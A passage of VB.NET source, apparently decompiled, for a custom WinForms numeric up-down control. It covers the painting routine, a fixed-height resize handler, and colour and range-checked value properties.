OnPaint(ByVal e As PaintEventArgs) 108 | Helpers.B = New Bitmap(Me.Width, Me.Height) 109 | Helpers.G = Graphics.FromImage(Helpers.B) 110 | Me.W = Me.Width 111 | Me.H = Me.Height 112 | Dim rect As New Rectangle(0, 0, Me.W, Me.H) 113 | Dim g As Graphics = Helpers.G 114 | g.SmoothingMode = SmoothingMode.HighQuality 115 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 116 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 117 | g.Clear(Me.BackColor) 118 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 119 | Dim rectangle2 As New Rectangle((Me.Width - &H18), 0, &H18, Me.H) 120 | g.FillRectangle(New SolidBrush(Me._ButtonColor), rectangle2) 121 | Dim point As New Point((Me.Width - 12), 8) 122 | g.DrawString("+", New Font("Segoe UI", 12!), Brushes.White, DirectCast(point, PointF), Helpers.CenterSF) 123 | point = New Point((Me.Width - 12), &H16) 124 | g.DrawString("-", New Font("Segoe UI", 10!, FontStyle.Bold), Brushes.White, DirectCast(point, PointF), Helpers.CenterSF) 125 | rectangle2 = New Rectangle(5, 1, Me.W, Me.H) 126 | Dim format As New StringFormat With { _ 127 | .LineAlignment = StringAlignment.Center _ 128 | } 129 | g.DrawString(Conversions.ToString(Me.Value), Me.Font, Brushes.White, rectangle2, format) 130 | g = Nothing 131 | MyBase.OnPaint(e) 132 | Helpers.G.Dispose 133 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 134 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 135 | Helpers.B.Dispose 136 | End Sub 137 | 138 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 139 | MyBase.OnResize(e) 140 | Me.Height = 30 141 | End Sub 142 | 143 | 144 | ' Properties 145 | _ 146 | Public Property BaseColor As Color 147 | Get 148 | Return Me._BaseColor 149 | End Get 150 | Set(ByVal value As Color) 151 | Me._BaseColor = value 152 | End Set 153 | End Property 154 | 155 | _ 156 | Public Property ButtonColor As Color 157 | Get 158 | Return Me._ButtonColor 159 | End Get 160 | Set(ByVal value As Color) 161 | Me._ButtonColor = value 162 | End Set 163 | End Property 164 | 165 | Public Property Maximum As Long 166 | Get 167 | Return Me._Max 168 | End Get 169 | Set(ByVal value As Long) 170 | If (value > Me._Min) Then 171 | Me._Max = value 172 | End If 173 | If (Me._Value > Me._Max) Then 174 | Me._Value = Me._Max 175 | End If 176 | Me.Invalidate 177 | End Set 178 | End Property 179 | 180 | Public Property Minimum As Long 181 | Get 182 | Return Me._Min 183 | End Get 184 | Set(ByVal value As Long) 185 | If (value < Me._Max) Then 186 | Me._Min = value 187 | End If 188 | If (Me._Value < Me._Min) Then 189 | Me._Value = Me.Minimum 190 | End If 191 | Me.Invalidate 192 | End Set 193 | End Property 194 | 195 | Public Property Value As Long 196 | Get 197 | Return Me._Value 198 | End Get 199 | Set(ByVal value As Long) 200 | If ((value <= Me._Max) And (value >= Me._Min)) Then 201 | Me._Value = value 202 | End If 203 | Me.Invalidate 204 | End Set 205 | End Property 206 | 207 | 208 | ' Fields 209 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 210 | Private _BaseColor As Color 211 | Private _ButtonColor As Color 212 | Private _Max As Long 213 | Private _Min As Long 214 | Private _Value As Long 215 | Private Bool As Boolean 216 | Private H As Integer 217 | Private State As MouseState 218 | Private W As Integer 219 | Private x As Integer 220 | Private y As Integer 221 | End Class 222 | End Namespace 223 | 224 | --------------------------------------------------------------------------------